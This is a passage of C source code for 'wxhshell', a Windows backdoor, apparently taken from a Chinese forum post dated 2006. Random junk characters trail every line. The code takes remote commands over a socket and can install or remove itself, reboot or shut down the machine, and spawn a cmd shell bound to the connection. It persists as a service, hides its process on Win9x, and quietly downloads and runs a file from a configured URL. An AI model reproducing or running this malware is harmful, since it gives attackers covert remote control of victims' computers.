  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .!/w[Z]  
  } Z8I  Y!d  
  else { 4L)#ku$jW  
Qu"zzb"k  
    switch(cmd[0]) { vgKZr  
   0@7%  
  // 帮助 }M7{~ov#s  
  case '?': { v P;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A6eIf  
    break; O*jTrZ(k  
  } gc,%A'OR^<  
  // 安装 h9-^aB$8^  
  case 'i': { 5 6w6=Is  
    if(Install()) N hG?@N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v,, .2UR4  
    else ||yx?q6\h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 57@6O-t-  
    break; %wil'  
    } .6C9N{?Tqf  
  // 卸载 UZvF5Hoe+O  
  case 'r': { vJI]ZnL{  
    if(Uninstall()) 2 zE gAc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  %JoHc?  
    else EC;R^)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |2AMj0V~  
    break; 6,Z.R T{5  
    } Mj!\EUn  
  // 显示 wxhshell 所在路径 %'o'Kh''=  
  case 'p': { &l M=>?  
    char svExeFile[MAX_PATH]; U</Vcz  
    strcpy(svExeFile,"\n\r"); `-Y8T\  
      strcat(svExeFile,ExeFile); \*yH33B9  
        send(wsh,svExeFile,strlen(svExeFile),0); Q%>6u@'  
    break; D`hl}  
    } C}jFR] x)  
  // 重启 l/xpAx  
  case 'b': { ]8 vsr$E#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r_>]yp  
    if(Boot(REBOOT)) T"IDCT'z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !1m7^3l7j  
    else { h8XoF1wuw  
    closesocket(wsh); {3Y R_^>?  
    ExitThread(0); = q \TWz  
    } 9u?[{h.`B  
    break; }vK8P r%  
    } >dK# tsp  
  // 关机 nz2`YyR  
  case 'd': { ?*AhGza/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xTnFJ$RK2  
    if(Boot(SHUTDOWN)) K]SsEsd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >p*7)  
    else { 5FMe&  
    closesocket(wsh); xyzYY}PS  
    ExitThread(0); 2p %j@O  
    } @oKW$\  
    break; yOTC>?p%  
    } D/)E[Fv+  
  // 获取shell E[NszM[P  
  case 's': { *q-VY[2  
    CmdShell(wsh); (l+0*o,(  
    closesocket(wsh); dD351!-  
    ExitThread(0); 0<FT=tKm  
    break; Se}&2 R  
  } nPW=m`jG  
  // 退出 qx5jaa3  
  case 'x': { _s18^7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `(uN_zvH  
    CloseIt(wsh); ZyX+V?4  
    break; N(J'h$E  
    } 6w `.'5  
  // 离开 ]!>tP,<`'  
  case 'q': { H-iCaXT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'ws@I?!r  
    closesocket(wsh); )tm%0z7R  
    WSACleanup(); JA09 o(  
    exit(1); :JXGgl<y  
    break; @rP#ktz]  
        } f = 'AI  
  } Z'~/=a)7  
  } V}h <,E9  
 5fq4[a  
  // 提示信息 (M# m BS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P"{yV?CNg  
} @$fvhEkrT@  
  } RF}R~m9]  
<:>[24LJ{  
  return; "_0sW3rG  
} NT=)</v  
Z&|Dp*Z  
// shell模块句柄 eGW h]%  
int CmdShell(SOCKET sock) 3Yf~5csY  
{ 7q&T2?GEN  
STARTUPINFO si; )i"52!  
ZeroMemory(&si,sizeof(si)); G:!3X)b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s|][p|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d(YAH@  
PROCESS_INFORMATION ProcessInfo; (qw;-A W8  
char cmdline[]="cmd"; U!jRF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  eIj2(q9  
  return 0; GdM|?u&s"  
} l0PXU)>C  
,&iEn}xG7i  
// 自身启动模式 /b]+RXvxj  
int StartFromService(void) e$`;z%6y  
{ }XD=N#p@z  
typedef struct 0.wNa~_G|  
{ bE!z[j]  
  DWORD ExitStatus; W0S\g#  
  DWORD PebBaseAddress; XnKf<|j6k  
  DWORD AffinityMask; [:/mjO K  
  DWORD BasePriority; ky{@*fg.  
  ULONG UniqueProcessId; 1()pKBHf  
  ULONG InheritedFromUniqueProcessId; T"e"?JSRJ  
}   PROCESS_BASIC_INFORMATION; )TcD-Jr  
'soll[J  
PROCNTQSIP NtQueryInformationProcess; C:_-F3|]cJ  
MKh}2B#S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =)%~QK {Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 79 \SbB  
[5PQrf~Mo  
  HANDLE             hProcess; F8J\#PW  
  PROCESS_BASIC_INFORMATION pbi; [+!~RV_  
!jg< S>S5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f3*SIKi  
  if(NULL == hInst ) return 0; g*WY kv  
*|,ye5"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %<>|cO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F6ZL{2$k@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I K,aA;d  
/tJ%gF  
  if (!NtQueryInformationProcess) return 0; m0*_  
3 jghV?I{T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &<Fw  
  if(!hProcess) return 0; Ny$N5/b!!  
bwK1XlfD.s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V8 G.KA "  
~3$:C#"Dl  
  CloseHandle(hProcess); be]Zx`)k  
gWl49'S>+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 82YZN5S3]3  
if(hProcess==NULL) return 0; :Vrj[i-{  
ynn>d  
HMODULE hMod; POQ4&ChA  
char procName[255]; ~PX#' Jr  
unsigned long cbNeeded; BO>[\!=y  
v807)JwS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dF^`6-K1  
g{Hb3id9  
  CloseHandle(hProcess); acI%fYw5p`  
CtHsi8m  
if(strstr(procName,"services")) return 1; // 以服务启动 2 U3WH.o  
D.YT u$T  
  return 0; // 注册表启动 -yMD9b  
} ?^U1~5ff)  
0BN=>]V~j7  
// 主模块 Bam 4%G5  
int StartWxhshell(LPSTR lpCmdLine) } DjbVYH  
{ .G>6_n3  
  SOCKET wsl; &ZJ$V  
BOOL val=TRUE; wx^1lC2  
  int port=0; # "TL*p  
  struct sockaddr_in door; W3xObt3w\  
+2m\Sv V  
  if(wscfg.ws_autoins) Install(); 4EJ6Zy![0*  
5Y5N   
port=atoi(lpCmdLine); Zb2.o5#}  
O/ZyWT  
if(port<=0) port=wscfg.ws_port; cN7|Zsc\  
,Z(J;~  
  WSADATA data; 4x$Ts %]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6~Y`<#X5J  
0T:ZWRjH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vl5r~F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mam(h{f$  
  door.sin_family = AF_INET; Ns-3\~QSi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GTW5f  
  door.sin_port = htons(port); mk +BeK  
{&h=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @qB1:==@7  
closesocket(wsl); gal.<SVW  
return 1; $u{ 8wF/)  
} 0{>P^z  
*%QTv3{  
  if(listen(wsl,2) == INVALID_SOCKET) { zg{  
closesocket(wsl); 1y.!x~Pi,  
return 1; SI;SnF'[7  
} _UUp+Hz  
  Wxhshell(wsl); s ]Db<f  
  WSACleanup(); !{4bC  
tkEup&  
return 0; =)2!qoE  
ea!Znld]  
} 8yCQWDE}  
,IG?(CK|  
// 以NT服务方式启动 ;%Zn)etu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d<v)ovQJ]  
{ oBzjEv  
DWORD   status = 0; d+g+ {p>?  
  DWORD   specificError = 0xfffffff; _"sFLe{  
67dp)X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; si|b>R&Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cz$q~)I$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Sv03="&  
  serviceStatus.dwWin32ExitCode     = 0; 0& ?/TSC  
  serviceStatus.dwServiceSpecificExitCode = 0; !J+< M~o}  
  serviceStatus.dwCheckPoint       = 0; }@jT-t]P  
  serviceStatus.dwWaitHint       = 0; z_en .  
lof}isOz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b{lkl?@a  
  if (hServiceStatusHandle==0) return; u9)<i]2  
<utD&D8w  
status = GetLastError(); +X7+:QQ }  
  if (status!=NO_ERROR) T\o!^|8  
{ f*ZIBTb 9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %/=#8v4*  
    serviceStatus.dwCheckPoint       = 0; /,2${$c!  
    serviceStatus.dwWaitHint       = 0; {;ur~KE  
    serviceStatus.dwWin32ExitCode     = status; ;PhX[y^*  
    serviceStatus.dwServiceSpecificExitCode = specificError; L51uC ,QF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }&Jml%F4uR  
    return; 1R"ymWg"  
  } H He~OxWg  
@|J+ f5O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DmgWIede|:  
  serviceStatus.dwCheckPoint       = 0; OcGHMGdn  
  serviceStatus.dwWaitHint       = 0; w1P8p>vA1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r2 o-/$  
} N;d@)h(N!  
s1NRUV2E  
// 处理NT服务事件,比如:启动、停止 :1\QM'O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WjvD C"  
{ EcW$'>^  
switch(fdwControl) cakb.Q  
{ ,-{ 2ai_  
case SERVICE_CONTROL_STOP: $@:z4S(  
  serviceStatus.dwWin32ExitCode = 0; p*Hbc|?{Q&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X?Mc"M  
  serviceStatus.dwCheckPoint   = 0; bol#[_~  
  serviceStatus.dwWaitHint     = 0; ]o\y(!  
  { YPqp#X*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y~pJ|E  
  } e6WKZ~ v o  
  return; 6v}WdK  
case SERVICE_CONTROL_PAUSE: MPmsW &  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A1(=7ZKz  
  break; 2u|} gZts  
case SERVICE_CONTROL_CONTINUE: GwaU7[6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y!?l;xMS  
  break; DEkFmmw   
case SERVICE_CONTROL_INTERROGATE: 1V37% D  
  break; V_"K  
}; ?H_'L4Wv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jPf*qe>U  
} fUg I*V  
)R`w{V  
// 标准应用程序主函数 < l%3P6|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x0!5z1KQh  
{ ;Y>cegG\  
RZeU{u<O  
// 获取操作系统版本 #]!0$z|Z  
OsIsNt=GetOsVer();  uM9[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '9MtIcNb  
,pz^8NJAI  
  // 从命令行安装 <H)I06];  
  if(strpbrk(lpCmdLine,"iI")) Install(); x\Det$3Kx  
ymLhSF][  
  // 下载执行文件 uT??t=vb  
if(wscfg.ws_downexe) { S@a#,,\[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $G5;y>  
  WinExec(wscfg.ws_filenam,SW_HIDE); yprf `D>  
} tj_+0J$sw:  
 `9  
if(!OsIsNt) { &k+'TcWm  
// 如果时win9x,隐藏进程并且设置为注册表启动 6n.W5 1g(s  
HideProc(); $MEKt}S  
StartWxhshell(lpCmdLine); t3)nG8> )  
} j&. MT@  
else FaNH+LPe  
  if(StartFromService()) wcT0XXh  
  // 以服务方式启动 {^xp?zpV  
  StartServiceCtrlDispatcher(DispatchTable); XHu2G t_  
else t$z FsFTQ  
  // 普通方式启动 D$RQD{*  
  StartWxhshell(lpCmdLine); u8Au `  
idf~"a  
return 0; #Pz},!7  
}
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只看该作者 1 发表于: 2006-10-10
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